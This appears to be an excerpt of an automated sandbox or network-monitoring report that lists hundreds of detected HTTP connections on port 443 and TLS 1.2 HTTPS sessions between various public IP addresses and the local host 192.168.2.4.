Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 146.70.56.165:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49984 version: TLS 1.2
